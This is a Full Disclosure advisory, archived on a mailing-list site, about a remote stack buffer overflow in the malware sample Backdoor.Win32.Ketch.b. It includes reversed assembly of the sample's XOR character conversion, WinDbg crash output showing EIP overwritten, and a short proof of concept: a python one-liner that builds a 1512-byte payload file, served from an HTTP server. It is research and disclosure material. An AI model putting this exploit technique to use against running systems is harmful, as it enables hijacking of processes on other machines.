lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAAHK0WStkbc1a_xhAjpkCRUVjia6wZhdEmsV4QNvtHPrB3Wzfw@mail.gmail.com>
Date: Fri, 8 Jan 2021 23:36:59 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Ketch.b / Remote Stack Buffer Overflow

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9d7be3799594a82bf7056905f501af03.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ketch.b
Vulnerability: Remote Stack Buffer Overflow

Description: Makes HTTP GET request for a file "script.dat", and writes the
server response to temporary file named "watchb.tmp" under c:\Windows dir.
At 1032 bytes we overwrite the buffer which is about 1000 bytes, and
sending 1,512 bytes we overwrite EIP. The watchb.tmp holds the response
from the server.

Type: PE32
MD5: 9d7be3799594a82bf7056905f501af03
Vuln ID: MVID-2021-0019
Dropped files: watchb.tmp
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/08/2021

C:\>type \Windows\watchb.tmp
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq...

Payload gets XOR's complicating things, uppercase gets converted to
lowercase, "a" becomes 51 Q... "A" becomes q 71 so it is difficult to
control chars for our needs.
Therefore, if we want to see the typical 41414141 exploit pattern
overwriting EIP we would have to use the lowercase "q" character. After
when it is XOR with 30
it will become 41.

At offset 004014CE, is where our payload is XOR'd with value of 30, and
this would have to be taken into account.
004014CE | E8 5D FF FF FF    | call backdoor.win32.ketch.b

Reversing the code responsible for payload character conversions e.g. "a"
to "Q" and "q" to "A" which challenges exploitation.

movzx eax, al (al=BA)
push esi
mov esi, dword ptr ss[esp+10]  (dword ptr [esp+10]=[0019E7F8]=0)
sub edx, esi
sub eax, esi
xor eax, edx  (eax=BA, edx=BE)
al of EAX is now 4 - EAX 00000004
EDX = BABECAFE
mov edx, ecx
sar edx, 8
EDX is now, edx=FFBABECA
movzx edx, dl
EDX is now value CA
sub edx, dl
movzx ecx, cl (cl=FE)
xor eax, edx (EAX=30, edx=CA)
sub ecx, esi (ecx=FE, esi=0)
xor eax, ecx (eax=CE, edx=FE)
EDX =CA
mov ecx, dword ptr ss[esp+8]
movzx edx, byte ptr ds[ecx] (byte ptr [yte ptr [ecx]=[0019E824]=61 'a')
xor eax, edx (eax=30 '0', edx=61 'a')
 <==================================== HERE
cmp eax, A  ('\n') EAX = 51 'Q'
pop esi (esi=0)
je backdoor.win32.ketch
test eax, eax (eax=51)
je backdoor.win32.ketch (jump not taken)
mov byte ptr ds[ecx], al (lower value of EAX 00000051)
ret

Memory Dump:

0:000> !exchain
0019f1c8: ntdll!_except_handler4+0 (773d6a50)
  CRT scope  0, func:   ntdll!RtlReportExceptionHelper+251 (774157ad)
0019f80c: Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+35020
(00435020)
0019fe24: 41414141
Invalid exception stack at 41414141

(16d0.118c): Stack buffer overflow - code c0000409 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=029044e1 edx=001a0000 esi=00000000
edi=00000002
eip=773ced3c esp=0019f110 ebp=0019f150 iopl=0         nv up ei pl nz ac po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h
0:000> .ecxr

eax=00000041 ebx=0290065c ecx=029044e1 edx=001a0000 esi=000005ef
edi=02903f00
eip=004050a9 esp=0019f7c0 ebp=0019f958 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9:
004050a9 8802            mov     byte ptr [edx],al
 ds:002b:001a0000=41
0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+50a9
004050a9 8802            mov     byte ptr [edx],al

EXCEPTION_RECORD:  0019f310 -- (.exr 0x19f310)
ExceptionAddress: 004050a9
(Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x000050a9)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000008
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME:  Backdoor.Win32.Ketch.b.9d7be3799594a82bf7056905f501af03.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a
stack-based buffer in this application. This overrun could potentially
allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a
stack-based buffer in this application. This overrun could potentially
allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1:  00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  0019f360 -- (.cxr 0x19f360)
eax=00000041 ebx=0290065c ecx=029044e1 edx=001a0000 esi=000005ef
edi=02903f00
eip=004050a9 esp=0019f7c0 ebp=0019f958 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9:
004050a9 8802            mov     byte ptr [edx],al
 ds:002b:001a0000=41
Resetting default scope

WRITE_ADDRESS:  001a0000

FOLLOWUP_IP:
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+50a9
004050a9 8802            mov     byte ptr [edx],al

FAULTING_THREAD:  0000118c

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  STACK_BUFFER_OVERRUN_EXPLOITABLE

DEFAULT_BUCKET_ID:  STACK_BUFFER_OVERRUN_EXPLOITABLE

IP_ON_HEAP:  029032f0
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 029032f0 to 004050a9

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
0019f958 029032f0 fffffffe 774453ea 773f67ea
Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9
0019f960 774453ea 773f67ea 000005e8 000005ef 0x29032f0
0019f9c4 7674a402 00000000 00000000 00000000
ntdll!RtlDebugAllocateHeap+0x340
0019fa9c 41414141 41414141 41414141 41414141
KERNELBASE!LocalBaseRegQueryValue+0x202
0019fab0 41414141 41414141 41414141 41414141 0x41414141
0019fab4 41414141 41414141 41414141 41414141 0x41414141
0019fab8 41414141 41414141 41414141 41414141 0x41414141


Exploit/PoC:
Setup for attacker server where we control traffic.

python -c "print 'q'*1512" > script.dat

python -m SimpleHTTPServer 80


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ